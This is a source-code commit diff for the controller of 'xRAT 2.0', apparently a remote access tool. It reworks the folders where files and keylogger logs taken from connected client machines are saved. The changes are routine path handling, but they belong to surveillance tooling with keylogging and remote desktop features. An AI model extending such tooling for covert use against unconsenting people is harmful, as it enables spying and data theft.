Improved Download Path

Using now "User@PC" instead of "IP".
This commit is contained in:
MaxXor 2015-06-01 11:44:48 +02:00
parent 56e5df26e6
commit 90f30caafb
6 changed files with 25 additions and 16 deletions

View File

@ -1,4 +1,6 @@
using System;
using System.IO;
using System.Linq;
using System.Windows.Forms;
using xServer.Core.Packets.ClientPackets;
using xServer.Forms;
@ -27,6 +29,15 @@ namespace xServer.Core.Commands
client.Value.Username = packet.Username;
client.Value.PCName = packet.PCName;
string userAtPc = string.Format("{0}@{1}", client.Value.Username, client.Value.PCName);
char[] illegal = Path.GetInvalidPathChars().Union(Path.GetInvalidFileNameChars()).ToArray();
bool containsIllegalChar = userAtPc.Count(c => illegal.Contains(c)) > 0;
if (!containsIllegalChar)
client.Value.DownloadDirectory = Path.Combine(Application.StartupPath, "Clients\\" + userAtPc + "\\");
else
client.Value.DownloadDirectory = Path.Combine(Application.StartupPath, "Clients\\" + client.EndPoint.Address.ToString() + "\\");
if (!FrmMain.Instance.ListenServer.AllTimeConnectedClients.ContainsKey(client.Value.Id))
FrmMain.Instance.ListenServer.AllTimeConnectedClients.Add(client.Value.Id, DateTime.Now);
@ -36,8 +47,8 @@ namespace xServer.Core.Commands
ListViewItem lvi = new ListViewItem(new string[]
{
" " + client.EndPoint.Address.ToString(), client.EndPoint.Port.ToString(),
string.Format("{0}@{1}", client.Value.Username, client.Value.PCName), client.Value.Version,
"Connected", "Active", country, client.Value.OperatingSystem, client.Value.AccountType,
userAtPc, client.Value.Version, "Connected", "Active", country,
client.Value.OperatingSystem, client.Value.AccountType
}) { Tag = client, ImageIndex = packet.ImageIndex };

View File

@ -22,11 +22,10 @@ namespace xServer.Core.Commands
public static void HandleDownloadFileResponse(Client client, DownloadFileResponse packet)
{
string downloadPath = Path.Combine(Application.StartupPath, "Clients\\" + client.EndPoint.Address.ToString());
if (!Directory.Exists(downloadPath))
Directory.CreateDirectory(downloadPath);
if (!Directory.Exists(client.Value.DownloadDirectory))
Directory.CreateDirectory(client.Value.DownloadDirectory);
downloadPath = Path.Combine(downloadPath, packet.Filename);
string downloadPath = Path.Combine(client.Value.DownloadDirectory, packet.Filename);
bool Continue = true;
if (packet.CurrentBlock == 0 && File.Exists(downloadPath))

View File

@ -124,7 +124,7 @@ namespace xServer.Core.Commands
return;
}
string downloadPath = Path.Combine(Application.StartupPath, "Clients\\" + client.EndPoint.Address.ToString() + "\\Logs\\");
string downloadPath = Path.Combine(client.Value.DownloadDirectory, "Logs\\");
if (!Directory.Exists(downloadPath))
Directory.CreateDirectory(downloadPath);
@ -137,7 +137,7 @@ namespace xServer.Core.Commands
if (packet.Index == packet.FileCount && (packet.CurrentBlock + 1) == packet.MaxBlocks)
{
FileInfo[] iFiles = new DirectoryInfo(Path.Combine(Application.StartupPath, "Clients\\" + client.EndPoint.Address.ToString() + "\\Logs\\")).GetFiles();
FileInfo[] iFiles = new DirectoryInfo(Path.Combine(client.Value.DownloadDirectory, "Logs\\")).GetFiles();
if (iFiles.Length == 0)
return;

View File

@ -17,6 +17,7 @@ namespace xServer.Core
public string Id { get; set; }
public string Username { get; set; }
public string PCName { get; set; }
public string DownloadDirectory { get; set; }
public FrmRemoteDesktop FrmRdp { get; set; }
public FrmTaskManager FrmTm { get; set; }
@ -34,7 +35,6 @@ namespace xServer.Core
public int LastMonitor { get; set; }
public Bitmap LastDesktop { get; set; }
public UnsafeStreamCodec StreamCodec { get; set; }
public ReverseProxyServer ProxyServer { get; set; }
public UserState()

View File

@ -265,11 +265,8 @@ namespace xServer.Forms
private void btnOpenDLFolder_Click(object sender, EventArgs e)
{
string downloadPath = Path.Combine(Application.StartupPath,
"Clients\\" + _connectClient.EndPoint.Address.ToString());
if (Directory.Exists(downloadPath))
Process.Start(downloadPath);
if (Directory.Exists(_connectClient.Value.DownloadDirectory))
Process.Start(_connectClient.Value.DownloadDirectory);
else
MessageBox.Show("No files downloaded yet!", "xRAT 2.0 - File Manager", MessageBoxButtons.OK,
MessageBoxIcon.Information);

View File

@ -16,8 +16,7 @@ namespace xServer.Forms
{
_connectClient = c;
_connectClient.Value.FrmKl = this;
_path = Path.Combine(Application.StartupPath,
"Clients\\" + _connectClient.EndPoint.Address.ToString() + "\\Logs\\");
_path = Path.Combine(_connectClient.Value.DownloadDirectory, "Logs\\");
InitializeComponent();
_lvwColumnSorter = new ListViewColumnSorter();
@ -32,7 +31,10 @@ namespace xServer.Forms
_connectClient.EndPoint.Port.ToString());
if (!Directory.Exists(_path))
{
Directory.CreateDirectory(_path);
return;
}
DirectoryInfo dicInfo = new DirectoryInfo(_path);